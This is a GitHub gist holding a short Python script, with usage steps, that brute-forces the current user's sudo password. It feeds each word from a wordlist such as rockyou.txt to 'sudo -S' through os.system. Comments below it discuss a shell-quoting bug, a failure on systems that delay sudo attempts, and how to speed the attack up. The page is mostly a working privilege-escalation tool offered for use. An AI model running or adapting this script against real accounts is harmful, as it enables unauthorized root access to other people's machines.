Skip to content

Instantly share code, notes, and snippets.

@ramuta
Last active August 4, 2025 12:05
Show Gist options
  • Select an option

  • Save ramuta/e32865d911e087844fc8c526a72fea49 to your computer and use it in GitHub Desktop.

Select an option

Save ramuta/e32865d911e087844fc8c526a72fea49 to your computer and use it in GitHub Desktop.
A Python script to brute force the sudo password of a current user.
# Author: Matej Ramuta
# How to use this script:
# 1. You need to have a wordlist file, something like rockyou.txt
# 2. Make sure you have Python 3 installed. Try this with "python --version" command. Also check "python3 --version"
# 3. Run the script like this: python sudo_brute_force.py passwords.txt
import os
import sys
if len(sys.argv) == 1:
print("You need to add a wordlist! Run the script like this: python sudo_brute_force.py passwords.txt")
exit()
wordfile = sys.argv[1]
print("Brute force sudo password with wordlist {}".format(wordfile))
print()
with open(wordfile, "r") as wordlist:
for password in wordlist:
print(password)
result = os.system("echo '{}' | sudo -Si".format(password.strip())) # important: strip() the newline char
if result == "0" or result == 0:
print("Success! :) The password is: {}".format(password))
break
else:
print("Wrong password... :( Let's try again!")
print()
@medanisjbara

medanisjbara commented Jul 31, 2022 •

Copy link
Copy Markdown

@ramuta 2 years late. But if a password starts with # then the command becomes just echo with the rest being just a comment. Therefore the exit status will be 0. Effectively making your script thinks the password is correct while it's not.

A good way to solve this is to have two single quotes around the curly brackets. So line 23 should become.

        result = os.system("echo '{}' | sudo -Si".format(password.strip()))

@ramuta

ramuta commented Sep 26, 2022

Copy link
Copy Markdown
Author

@ramuta 2 years late. But if a password starts with # then the command becomes just echo with the rest being just a comment. Therefore the exit status will be 0. Effectively making your script thinks the password is correct while.

A good way to solve this is to have two single quotes around the curly brackets. So line 23 should become.

        result = os.system("echo '{}' | sudo -Si".format(password.strip()))

Thanks @medanisjbara, not sure how I missed this 🤦‍♂️ 😄

@trawn3333

Copy link
Copy Markdown

Does anyone have this working on systems that institute a delay on sudo commands? It doesn't seem to work for me in Ubuntu.

@medanisjbara

Copy link
Copy Markdown

@trawn3333 there are better ways to do this if you forgot your password. But hit me up if you still want this.

@IloveTurtles1

Copy link
Copy Markdown

is there any way to make it run faster?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment